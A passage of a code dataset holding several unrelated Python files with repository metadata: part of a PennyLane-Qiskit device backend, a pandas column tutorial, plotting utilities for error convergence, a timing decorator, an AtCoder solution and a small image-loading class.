self.backend_name != \"unitary_simulator\"\n            ):\n                self.memory = True  # make sure to return samples\n\n            if isinstance(e.name, list):\n                # tensor product\n                for n, w, p in zip(e.name, e.wires, e.parameters):\n                    self.rotate_basis(n, w, p)\n            else:\n                # single wire observable\n                self.rotate_basis(e.name, e.wires, e.parameters)\n\n        if self.backend_name not in self._state_backends:\n            # Add measurements if they are needed\n            for qr, cr in zip(self._reg, self._creg):\n                measure(self._circuit, qr, cr)\n\n        qobj = self.compile()\n        self.run(qobj)\n\n    def expval(self, observable, wires, par):\n        if self.backend_name in self._state_backends and self.analytic:\n            # exact expectation value\n            eigvals = self.eigvals(observable, wires, par)\n            prob = np.fromiter(self.probability(wires=wires).values(), dtype=np.float64)\n            return (eigvals @ prob).real\n\n        if self.analytic:\n            # Raise a warning if backend is a hardware simulator\n            warnings.warn(self.hw_analytic_warning_message.format(self.backend), UserWarning)\n\n        # estimate the ev\n        return np.mean(self.sample(observable, wires, par))\n\n    def var(self, observable, wires, par):\n        if self.backend_name in self._state_backends and self.analytic:\n            # exact variance value\n            eigvals = self.eigvals(observable, wires, par)\n            prob = np.fromiter(self.probability(wires=wires).values(), dtype=np.float64)\n            return (eigvals ** 2) @ prob - (eigvals @ prob).real ** 2\n\n        if self.analytic:\n            # Raise a warning if backend is a hardware simulator\n            warnings.warn(self.hw_analytic_warning_message.format(self.backend), UserWarning)\n\n        return np.var(self.sample(observable, wires, par))\n\n    def sample(self, observable, wires, par):\n        if observable == \"Identity\":\n            return np.ones([self.shots])\n\n        # branch out depending on the type of backend\n        if self.backend_name in self._state_backends:\n            # software simulator. Need to sample from probabilities.\n            eigvals = self.eigvals(observable, wires, par)\n            prob = np.fromiter(self.probability(wires=wires).values(), dtype=np.float64)\n            return np.random.choice(eigvals, self.shots, p=prob)\n\n        # a hardware simulator\n        if self.memory:\n            # get the samples\n            samples = self._current_job.result().get_memory()\n\n            # reverse qubit order to match PennyLane convention\n            samples = np.vstack([np.array([int(i) for i in s[::-1]]) for s in samples])\n\n        else:\n            # Need to convert counts into samples\n            samples = np.vstack(\n                [np.vstack([s] * int(self.shots * p)) for s, p in self.probability().items()]\n            )\n\n        if isinstance(observable, str) and observable in {\"PauliX\", \"PauliY\", \"PauliZ\", \"Hadamard\"}:\n            return 1 - 2 * samples[:, wires[0]]\n\n        eigvals = self.eigvals(observable, wires, par)\n        wires = np.hstack(wires)\n        res = samples[:, np.array(wires)]\n        samples = np.zeros([self.shots])\n\n        for w, b in zip(eigvals, itertools.product([0, 1], repeat=len(wires))):\n            samples = np.where(np.all(res == b, axis=1), w, samples)\n\n        return samples\n\n    @property\n    def state(self):\n        return self._state\n\n    def probability(self, wires=None):\n        \"\"\"Return the (marginal) probability of each computational basis\n        state from the last run of the device.\n\n        Args:\n            wires (Sequence[int]): Sequence of wires to return\n                marginal probabilities for. Wires not provided\n                are traced out of the system.\n\n        Returns:\n            OrderedDict[tuple, float]: Dictionary mapping a tuple representing the state\n            to the resulting probability. The dictionary should be sorted such that the\n            state tuples are in lexicographical order.\n        \"\"\"\n        # Note: Qiskit uses the convention that the first qubit is the\n        # least significant qubit.\n        if self._current_job is None:\n            return None\n\n        if self.backend_name in self._state_backends:\n            # statevector simulator\n            prob = np.abs(self.state.reshape([2] * self.num_wires)) ** 2\n        else:\n            # hardware simulator\n            result = self._current_job.result()\n\n            # sort the counts and reverse qubit order to match PennyLane convention\n            nonzero_prob = {\n                tuple(int(i) for i in s[::-1]): c / self.shots\n                for s, c in result.get_counts().items()\n            }\n\n            if wires is None:\n                # marginal probabilities not required\n                return OrderedDict(tuple(sorted(nonzero_prob.items())))\n\n            prob = np.zeros([2] * self.num_wires)\n\n            for s, p in tuple(sorted(nonzero_prob.items())):\n                prob[s] = p\n\n        wires = wires or range(self.num_wires)\n        wires = np.hstack(wires)\n\n        basis_states = itertools.product(range(2), repeat=len(wires))\n        inactive_wires = list(set(range(self.num_wires)) - set(wires))\n        prob = np.apply_over_axes(np.sum, prob, inactive_wires).flatten()\n        return OrderedDict(zip(basis_states, prob))\n\n    def eigvals(self, observable, wires, par):\n        \"\"\"Determine the eigenvalues of observable(s).\n\n        Args:\n            observable (str, List[str]): the name of an observable,\n                or a list of observables representing a tensor product\n            wires (List[int]): wires the observable(s) is measured on\n            par (List[Any]): parameters of the observable(s)\n\n        Returns:\n            array[float]: an array of size ``(len(wires),)`` containing the\n            eigenvalues of the observable\n        \"\"\"\n        # the standard observables all share a common eigenbasis {1, -1}\n        # with the Pauli-Z gate/computational basis measurement\n        standard_observables = {\"PauliX\", \"PauliY\", \"PauliZ\", \"Hadamard\"}\n\n        # observable should be Z^{\\otimes n}\n        eigvals = pauli_eigs(len(wires))\n\n        if isinstance(observable, list):\n            # tensor product of observables\n\n            # check if there are any non-standard observables (such as Identity, Hadamard)\n            if set(observable) - standard_observables:\n                # Tensor product of observables contains a mixture\n                # of standard and non-standard observables\n                eigvals = np.array([1])\n\n                # group the observables into subgroups, depending on whether\n                # they are in the standard observables or not.\n                for k, g in itertools.groupby(\n                    zip(observable, wires, par), lambda x: x[0] in standard_observables\n                ):\n                    if k:\n                        # Subgroup g contains only standard observables.\n                        # Determine the size of the subgroup, by transposing\n                        # the list, flattening it, and determining the length.\n                        n = len([w for sublist in list(zip(*g))[1] for w in sublist])\n                        eigvals = np.kron(eigvals, pauli_eigs(n))\n                    else:\n                        # Subgroup g contains only non-standard observables.\n                        for ns_obs in g:\n                            # loop through all non-standard observables\n                            if ns_obs[0] == \"Hermitian\":\n                                # Hermitian observable has pre-computed eigenvalues\n                                p = ns_obs[2]\n                                Hkey = tuple(p[0].flatten().tolist())\n                                eigvals = np.kron(eigvals, self._eigs[Hkey][\"eigval\"])\n\n                            elif ns_obs[0] == \"Identity\":\n                                # Identity observable has eigenvalues (1, 1)\n                                eigvals = np.kron(eigvals, np.array([1, 1]))\n\n        elif observable == \"Hermitian\":\n            # single wire Hermitian observable\n            Hkey = tuple(par[0].flatten().tolist())\n            eigvals = self._eigs[Hkey][\"eigval\"]\n\n        elif observable == \"Identity\":\n            # single wire identity observable\n            eigvals = np.ones(2 ** len(wires))\n\n        return eigvals\n\n    def reset(self):\n        self._circuit = QuantumCircuit(self._reg, self._creg, name=\"temp\")\n        self._state = None\n", "meta": {"hexsha": "c58deafb8cd9effafc64f364122cea065ef572a3", "size": 19928, "ext": "py", "lang": "Python", "max_stars_repo_path": "pennylane_qiskit/qiskit_device.py", "max_stars_repo_name": "rafaelha/pennylane-qiskit", "max_stars_repo_head_hexsha": "2887b4ca4c9a22f393bdc3a96c11f4e23a81eb54", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pennylane_qiskit/qiskit_device.py", "max_issues_repo_name": "rafaelha/pennylane-qiskit", "max_issues_repo_head_hexsha": "2887b4ca4c9a22f393bdc3a96c11f4e23a81eb54", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pennylane_qiskit/qiskit_device.py", "max_forks_repo_name": "rafaelha/pennylane-qiskit", "max_forks_repo_head_hexsha": "2887b4ca4c9a22f393bdc3a96c11f4e23a81eb54", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.9580952381, "max_line_length": 103, "alphanum_fraction": 0.6015154556, "include": true, "reason": "import numpy", "num_tokens": 4556, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.1081889444979944, "lm_q1q2_score": 0.050717963085246696}}
{"text": "# Copyright 2019 Cloudera, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# # Creating new columns in a pandas DataFrame\n\n# Import modules and read games data\nimport numpy as np\nimport pandas as pd\ngames = pd.read_table('data/games/games.csv', sep=',')\ngames\n\n\n# Use the DataFrame method `assign` to return the\n# dataframe with a new column added to it.\n\n# The new column can contain a scalar value (repeated in \n# every row):\ngames.assign(tax_percent = 0.08875)\n\n# Or, the new column can be calculated using an\n# expression that uses the values in other columns. To\n# do this, you need to reference the original DataFrame\n# or use a lambda:\ngames \\\n  .assign(\n    price_with_tax = np.round(\n      games.list_price * 1.08875, 2\n    )\n  )\n\ngames \\\n  .assign(\n    price_with_tax = lambda x:\n      np.round(x.list_price * 1.08875, 2)\n  )\n\n# The latter option is better for chaining\n\n# You can also use the quoted column name in square\n# brackets. This is less concise but safer, because \n# Python can interpret the dot notation to refer to\n# an attribute or method of the DataFrame class\n# instead of a column of the DataFrame\ngames.assign(under_ten_dollars = games.list_price < 10)\ngames.assign(under_ten_dollars = games['list_price'] < 10)\n\n\n# You can create multiple columns with one call to the\n# `assign` method\ngames \\\n  .assign(\n    tax_percent = 0.08875,\n    price_with_tax = lambda x:\n      np.round(x.list_price * 1.08875, 2)\n  )\n\n# But you can't reference columns that you created in an\n# `assign` in other expressions later in the same \n# `assign`; for that, use multiple `assign`s\ngames \\\n  .assign(\n    tax_percent = 0.08875\n  ) \\\n  .assign(\n    price_with_tax = lambda x:\n      np.round(x.list_price * (1 + x.tax_percent), 2)\n  )\n\n# Alternatively, use the DataFrame method `eval`, which\n# evaluates a string describing operations on DataFrame\n# columns. Specify `inplace=False` to ensure that pandas\n# does not mutate the existing DataFrame in place \ngames.eval(\n  'price_with_tax = list_price * 1.08875',\n  inplace=False\n)\n\n# However, many operations are not supported by `eval`.\n# This code fails with the error `\"round\" is not a \n# supported function`\n#```python\n#games.eval(\n#  'price_with_tax = round(list_price * 1.08875, 2)',\n#  inplace=False\n#)\n#```\n\n\n# ## Replacing columns\n\n# You can replace existing columns the same way you make\n# new columns\ngames. \\\n  assign(\n    name = lambda x: x.name.str.upper(),\n    inventor = lambda x: x.inventor.str.lower()\n  )\n\n\n# ## Renaming columns\n  \n# To return a DataFrame with one or more columns renamed,\n# use the `rename` method. For the `columns` argument,\n# pass a dictionary in the form  `{'old_name':'new_name'}`\ngames.rename(columns = {'id':'game_id'})\ngames.rename(\n  columns = {'id':'game_id', 'list_price':'price'}\n)\n\n\n# ## Removing columns\n\n# To return a DataFrame with one or more columns removed,\n# use the `drop` method, with `axis=1`\ngames.drop(['inventor', 'min_age'], axis=1)\n\n\n# ## Replacing missing values\n\n# Load the inventory data (since the games data has no\n# missing values)\ninventory = pd.read_table('data/inventory/data.txt')\ninventory\n\n# Use the `fillna` method\ninventory.assign(price = lambda x : x.price.fillna(9.00))\n\n\n# ## Iterating over rows\n\n# You can call the `apply` method of a column (which is\n# a pandas Series object) to iterate over the rows of a\n# DataFrame in `assign`\ngames.assign(\n  name = lambda x: x.name.apply(\n    lambda y: 'Cluedo' if y == 'Clue' else y\n  )\n)\n", "meta": {"hexsha": "9c5254e700f41508acf43307b02320bc5b5ee62f", "size": 3969, "ext": "py", "lang": "Python", "max_stars_repo_path": "1_data_manipulation/pandas/05_assign_columns.py", "max_stars_repo_name": "ianmcook/strata-sf-2019", "max_stars_repo_head_hexsha": "0bcd2559a21f95a83a7caec11560c8c0df5e65ed", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2019-03-25T16:28:34.000Z", "max_stars_repo_stars_event_max_datetime": "2020-03-15T00:17:40.000Z", "max_issues_repo_path": "1_data_manipulation/pandas/05_assign_columns.py", "max_issues_repo_name": "ianmcook/strata-sf-2019", "max_issues_repo_head_hexsha": "0bcd2559a21f95a83a7caec11560c8c0df5e65ed", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "1_data_manipulation/pandas/05_assign_columns.py", "max_forks_repo_name": "ianmcook/strata-sf-2019", "max_forks_repo_head_hexsha": "0bcd2559a21f95a83a7caec11560c8c0df5e65ed", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-03-26T16:42:28.000Z", "max_forks_repo_forks_event_max_datetime": "2019-03-26T16:42:28.000Z", "avg_line_length": 26.46, "max_line_length": 74, "alphanum_fraction": 0.7102544722, "include": true, "reason": "import numpy", "num_tokens": 1032, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.10374863587266454, "lm_q1q2_score": 0.05065873618121587}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom matplotlib.ticker import LogLocator\nfrom matplotlib import rc\nfrom matplotlib import rcParams\nfont = {'family' : 'Dejavu Sans',\n        'weight' : 'normal',\n        'size'   : 22}\nrc('font', **font)\nrcParams['lines.markersize'] = 12\nrcParams['markers.fillstyle'] = 'none'\n\n\ndef print_config(cfg):\n    for key in cfg:\n        print (\"\\t\", key,\":\",cfg[key])\n\n\ndef write_outputFG(filename, cfg, inv_hx, inv_ht, ndof, errorBuf):\n    \n    file = open(filename,\"w\")\n    \n    if cfg['save xt sol']:\n        errorType = 'xtErr_'+cfg['error type']\n    else:\n        errorType = 'xErr_'+cfg['error type']\n    \n    data = errorType+', '+str(cfg['deg_x_v'])+', '+str(cfg['deg_t'])+'\\n'\n    file.write(data)\n\n    N = inv_hx.shape[0]\n    for k in range(0,N):\n        data = str(inv_hx[k])+', '+str(inv_ht[k])+', '+str(ndof[k])\\\n               +', '+str(errorBuf[k,0])+', '+str(errorBuf[k,1])+'\\n'\n        file.write(data)\n    file.close()\n\n\ndef read_outputFG(filename):\n    \n    file = open(filename,\"r\")\n    \n    data = file.readlines()\n    N = len(data)-1\n    \n    ## read deg_x, deg_t from first line    \n    line = data[0]\n    line_ = line.split(', ')\n    deg_x = int(line_[1])\n    deg_t = int(line_[2])\n        \n    inv_hx = np.zeros(N, dtype=np.int32)\n    inv_ht = np.zeros(N, dtype=np.int32)\n    ndof = np.zeros(N, dtype=np.int32)\n    errorBuf = np.zeros((N,2), dtype=np.float64)\n    ## read data\n    for k in range(1,len(data)):\n        line = data[k]\n        line_ = line.split(', ')\n        \n        inv_hx[k-1] = int(line_[0])\n        inv_ht[k-1] = int(line_[1])\n        ndof[k-1] = int(line_[2])\n        errorBuf[k-1,0] = float(line_[3])\n        errorBuf[k-1,1] = float(line_[4])\n    \n    file.close()\n    \n    return deg_x, deg_t, inv_hx, inv_ht, ndof, errorBuf\n\n\ndef write_outputSG(filename, cfg, inv_h, ndof, errorBuf):\n    \n    file = open(filename,\"w\")\n    \n    if cfg['save xt sol']:\n        errorType = 'xtErr_'+cfg['error type']\n    else:\n        errorType = 'xErr_'+cfg['error type']\n    \n    data = errorType+', '+str(cfg['deg_x_v'])+', '+str(cfg['deg_t'])+'\\n'\n    file.write(data)\n    \n    N = inv_h.shape[0]\n    for k in range(0,N):\n        data = str(inv_h[k])+', '+str(ndof[k])\\\n               +', '+str(errorBuf[k,0])+', '+str(errorBuf[k,1])+'\\n'\n        file.write(data)\n    file.close()\n\n\ndef read_outputSG(filename):\n    \n    file = open(filename,\"r\")\n    \n    data = file.readlines()\n    N = len(data)-1\n    \n    ## read deg_x, deg_t from first line    \n    line = data[0]\n    line_ = line.split(', ')\n    deg_x = int(line_[1])\n    deg_t = int(line_[2])\n        \n    inv_h = np.zeros(N, dtype=np.int64)\n    ndof = np.zeros(N, dtype=np.int64)\n    errorBuf = np.zeros((N,2), dtype=np.float64)\n    ## read data\n    for k in range(1,len(data)):\n        line = data[k]\n        line_ = line.split(', ')\n        \n        inv_h[k-1] = int(line_[0])\n        ndof[k-1] = int(line_[1])\n        errorBuf[k-1,0] = float(line_[2])\n        errorBuf[k-1,1] = float(line_[3])\n    \n    file.close()\n    \n    return deg_x, deg_t, inv_h, ndof, errorBuf\n\n\ndef plotL2ErrorVsNdof(d, p, ndof_FG, err_FG, ndof_SG, err_SG):\n    \n    m_FG = (p+1)/(d+1)\n    m_SG = (p+1)/d\n    ref_FG = 3e+1/ndof_FG**m_FG\n    ref_SG = 5e+2/ndof_SG**m_SG\n    \n    fig, ax = plt.subplots()\n    ax.loglog(ndof_FG, err_FG, 'k-x', label='FG')\n    ax.loglog(ndof_SG, err_SG, 'r-o', label='SG')\n    ax.loglog(ndof_FG, ref_FG, 'k--x', label='$O(M_h^{%.2f})$'%m_FG)\n    ax.loglog(ndof_SG, ref_SG, 'r--o', label='$O(M_h^{%.2f})$'%m_SG)\n    \n    legend = ax.legend(loc='lower left', shadow=False)\n    \n    plt.xlabel(r'$M_h$ [log]')\n    plt.ylabel(r'Rel. error in ${L^2(Q)}$ norm [log]')\n    plt.show()\n\n\ndef plotL2ErrorVsMeshSize(d, p, mesh_type, inv_hx, err_L2, showPlot, savePlot, filename):\n    \n    ## choose reference parameters\n    if (mesh_type == \"\"):\n        m = p+1\n        factor = 2e+0\n        \n    elif (mesh_type == \"quasi-uniform\"):\n        m = 2./3.\n        if d == 1:\n            factor = 1e+0\n        else:\n            factor = 4e-2\n    \n    elif mesh_type == \"graded\":\n        m = p+0.5\n        if d == 1:\n            factor = 1e+0\n        else:\n            factor = 2e-2\n    \n    elif mesh_type == \"bisection-refined\":\n        m = p+1\n        if d == 1:\n            factor = 1e+0\n        else:\n            factor = 8e-2\n    \n    ref_L2 = factor/inv_hx**m\n    \n    fig, ax = plt.subplots()\n    ax.loglog(inv_hx, err_L2, 'r-x', label='$L^2$-norm')\n    ax.loglog(inv_hx, ref_L2, 'k--x', label='$r_{L^2}$ = %.2f'%m)\n    \n    legend = ax.legend(loc='lower left', shadow=False)\n    \n    plt.xlabel(r'$h_x^{-1}$ [log]')\n    plt.ylabel(r'Rel. error in ${L^2(\\Omega)}$ norm [log]')\n    \n    fig = plt.gcf()\n    fig.set_size_inches(16, 10)\n    \n    if showPlot:\n        plt.show()\n    if savePlot:\n        fig.savefig(filename, format='eps', dpi=1000)\n\n\n# END OF FILE\n", "meta": {"hexsha": "b349220ed32fa19447c195ec93232ed9a76d77a9", "size": 4946, "ext": "py", "lang": "Python", "max_stars_repo_path": "utilities.py", "max_stars_repo_name": "pratyuksh/xtDgWave", "max_stars_repo_head_hexsha": "4b3bf60fe5f974a9d166f3553c64c8ee4f1721d9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "utilities.py", "max_issues_repo_name": "pratyuksh/xtDgWave", "max_issues_repo_head_hexsha": "4b3bf60fe5f974a9d166f3553c64c8ee4f1721d9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "utilities.py", "max_forks_repo_name": "pratyuksh/xtDgWave", "max_forks_repo_head_hexsha": "4b3bf60fe5f974a9d166f3553c64c8ee4f1721d9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.2346938776, "max_line_length": 89, "alphanum_fraction": 0.5313384553, "include": true, "reason": "import numpy", "num_tokens": 1596, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.10374863102312647, "lm_q1q2_score": 0.05065873381326696}}
{"text": "import time\nimport numpy as np\n\n\ndef time_it(func):\n    def wrapper(*args, **kwargs):\n        start = time.time()\n        ret = func(*args, **kwargs)\n        end = time.time()\n        print(f'Function took {end-start}s')\n\n        return ret\n\n    return wrapper\n\n\nrng = np.random.RandomState(0)\n\n# Create a lot of numbers\nnums = rng.random(10000000)\n# Decorate np.sort with our time_it transformer\ntimed_sort = time_it(np.sort)\n# Perform the sort with our time_it functionality\ntimed_sort(nums)", "meta": {"hexsha": "7c9feadfb95cc4f69a88b920bc8011bd5a3f0b59", "size": 493, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/decorator/decorating_externals_functions.py", "max_stars_repo_name": "zeroam/TIL", "max_stars_repo_head_hexsha": "43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python/decorator/decorating_externals_functions.py", "max_issues_repo_name": "zeroam/TIL", "max_issues_repo_head_hexsha": "43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/decorator/decorating_externals_functions.py", "max_forks_repo_name": "zeroam/TIL", "max_forks_repo_head_hexsha": "43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.5416666667, "max_line_length": 49, "alphanum_fraction": 0.6673427992, "include": true, "reason": "import numpy", "num_tokens": 123, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.10374862894475308, "lm_q1q2_score": 0.05065873279843174}}
{"text": "#!/usr/bin/python\nimport numpy as np\nimport pandas as pd\nfrom pandas import *  # Sereis, DataFrame\ndata = DataFrame(np.arange(16).reshape(4,4),index=list('abcd'),columns=list('wxyz'))\ndata['w']  #\u9009\u62e9\u8868\u683c\u4e2d\u7684'w'\u5217\uff0c\u4f7f\u7528\u7c7b\u5b57\u5178\u5c5e\u6027,\u8fd4\u56de\u7684\u662fSeries\u7c7b\u578b\ndata.w    #\u9009\u62e9\u8868\u683c\u4e2d\u7684'w'\u5217\uff0c\u4f7f\u7528\u70b9\u5c5e\u6027,\u8fd4\u56de\u7684\u662fSeries\u7c7b\u578b\ndata[['w']]  #\u9009\u62e9\u8868\u683c\u4e2d\u7684'w'\u5217\uff0c\u8fd4\u56de\u7684\u662fDataFrame\u7c7b\u578b\ndata[['w','z']]  #\u9009\u62e9\u8868\u683c\u4e2d\u7684'w'\u3001'z'\u5217\ndata.to_csv=('a.csv')", "meta": {"hexsha": "d3314b05c7953faeec06abed9aec20293de7794f", "size": 364, "ext": "py", "lang": "Python", "max_stars_repo_path": "ai-engineer/course0_20190911/a1_python_lib/1_pandas/1_pandas_intro.py", "max_stars_repo_name": "linksdl/meta-project-artificial_intelligence_projects", "max_stars_repo_head_hexsha": "3abe0dc59aa891717a661b3ad1e987c14536bd62", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ai-engineer/course0_20190911/a1_python_lib/1_pandas/1_pandas_intro.py", "max_issues_repo_name": "linksdl/meta-project-artificial_intelligence_projects", "max_issues_repo_head_hexsha": "3abe0dc59aa891717a661b3ad1e987c14536bd62", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ai-engineer/course0_20190911/a1_python_lib/1_pandas/1_pandas_intro.py", "max_forks_repo_name": "linksdl/meta-project-artificial_intelligence_projects", "max_forks_repo_head_hexsha": "3abe0dc59aa891717a661b3ad1e987c14536bd62", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.4, "max_line_length": 84, "alphanum_fraction": 0.6950549451, "include": true, "reason": "import numpy", "num_tokens": 156, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.10374862894475306, "lm_q1q2_score": 0.05065873279843173}}
{"text": "#!/usr/bin/env python3\n\n#from collections import defaultdict\n#from heapq import heappush, heappop\n#import numpy as np\nimport sys\n\nsys.setrecursionlimit(10**6)\ninput = sys.stdin.buffer.readline\nINF = 10 ** 9 + 1  # sys.maxsize # float(\"inf\")\nMOD = 10 ** 9 + 7\n\ndebug_indent = 0\n\n\ndef debug(*x):\n    global debug_indent\n    x = list(x)\n    indent = 0\n    if x[0].startswith(\"enter\") or x[0][0] == \">\":\n        indent = 1\n    if x[0].startswith(\"leave\") or x[0][0] == \"<\":\n        debug_indent -= 1\n    x[0] = \"  \" * debug_indent + x[0]\n    print(*x, file=sys.stderr)\n    debug_indent += indent\n\n\ndef solve(N, XS):\n    return sum([1 for x in range(0, N, 2) if XS[x] % 2])\n\n\ndef main():\n    # parse input\n    N = int(input())\n    XS = list(map(int, input().split()))\n    print(solve(N, XS))\n\n\n# tests\nT1 = \"\"\"\n15\n13 76 46 15 50 98 93 77 31 43 84 90 6 24 14\n\"\"\"\n\n\ndef test_T1():\n    \"\"\"\n    >>> as_input(T1)\n    >>> main()\n    result\n    \"\"\"\n# add tests above\n\n\ndef _test():\n    import doctest\n    doctest.testmod()\n\n\ndef as_input(s):\n    \"use in test, use given string as input file\"\n    import io\n    global read, input\n    f = io.StringIO(s.strip())\n\n    def input():\n        return bytes(f.readline(), \"ascii\")\n\n    def read():\n        return bytes(f.read(), \"ascii\")\n\n\nUSE_NUMBA = False\nif (USE_NUMBA and sys.argv[-1] == 'ONLINE_JUDGE') or sys.argv[-1] == '-c':\n    print(\"compiling\")\n    from numba.pycc import CC\n    cc = CC('my_module')\n    cc.export('solve', solve.__doc__.strip().split()[0])(solve)\n    cc.compile()\n    exit()\nelse:\n    input = sys.stdin.buffer.readline\n    read = sys.stdin.buffer.read\n\n    if (USE_NUMBA and sys.argv[-1] != '-p') or sys.argv[-1] == \"--numba\":\n        # -p: pure python mode\n        # if not -p, import compiled module\n        from my_module import solve  # pylint: disable=all\n    elif sys.argv[-1] == \"-t\":\n        print(\"testing\")\n        _test()\n        sys.exit()\n    elif sys.argv[-1] != '-p' and len(sys.argv) == 2:\n        # input given as file\n        input_as_file = open(sys.argv[1])\n        input = input_as_file.buffer.readline\n        read = input_as_file.buffer.read\n\n    main()\n", "meta": {"hexsha": "43ab3af1465319d707044cfa2d1eb20d8d38311c", "size": 2134, "ext": "py", "lang": "Python", "max_stars_repo_path": "aising2020/b.py", "max_stars_repo_name": "nishio/atcoder", "max_stars_repo_head_hexsha": "8db36537b5d8580745d5f98312162506ad7d7ab4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-03-09T04:28:13.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-09T04:28:13.000Z", "max_issues_repo_path": "aising2020/b.py", "max_issues_repo_name": "nishio/atcoder", "max_issues_repo_head_hexsha": "8db36537b5d8580745d5f98312162506ad7d7ab4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "aising2020/b.py", "max_forks_repo_name": "nishio/atcoder", "max_forks_repo_head_hexsha": "8db36537b5d8580745d5f98312162506ad7d7ab4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.1287128713, "max_line_length": 74, "alphanum_fraction": 0.5735707591, "include": true, "reason": "import numpy,from numba", "num_tokens": 645, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.10374861993846879, "lm_q1q2_score": 0.050658728400812675}}
{"text": "import numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass ImageProcessor:\n    def __init__(self):\n        pass\n\n    def load(self, path):\n        img_array = plt.imread(path)\n        print('Loading image of dimensions {} x {}'.format(\n              img_array.shape[0],\n              img_array.shape[1]))\n        return img_array\n\n    def display(self, array):\n        _, ax = plt.subplots()\n        ax.imshow(array)\n        ax.set_axis_off()\n        plt.show()\n\n\nif __name__ == \"__main__\":\n    imp = ImageProcessor()\n\n    arr = imp.load(\"../resources/42AI.png\")\n    print(arr)\n    print(type(arr))\n    imp.display(arr)\n", "meta": {"hexsha": "d67ba08520abec058c80e4be50805d02a8f91e93", "size": 620, "ext": "py", "lang": "Python", "max_stars_repo_path": "module03/ex01/ImageProcessor.py", "max_stars_repo_name": "kotabrog/bootcamp_python", "max_stars_repo_head_hexsha": "41251363d8f62d39451650dcd55e0c1522b1ddcb", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "module03/ex01/ImageProcessor.py", "max_issues_repo_name": "kotabrog/bootcamp_python", "max_issues_repo_head_hexsha": "41251363d8f62d39451650dcd55e0c1522b1ddcb", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "module03/ex01/ImageProcessor.py", 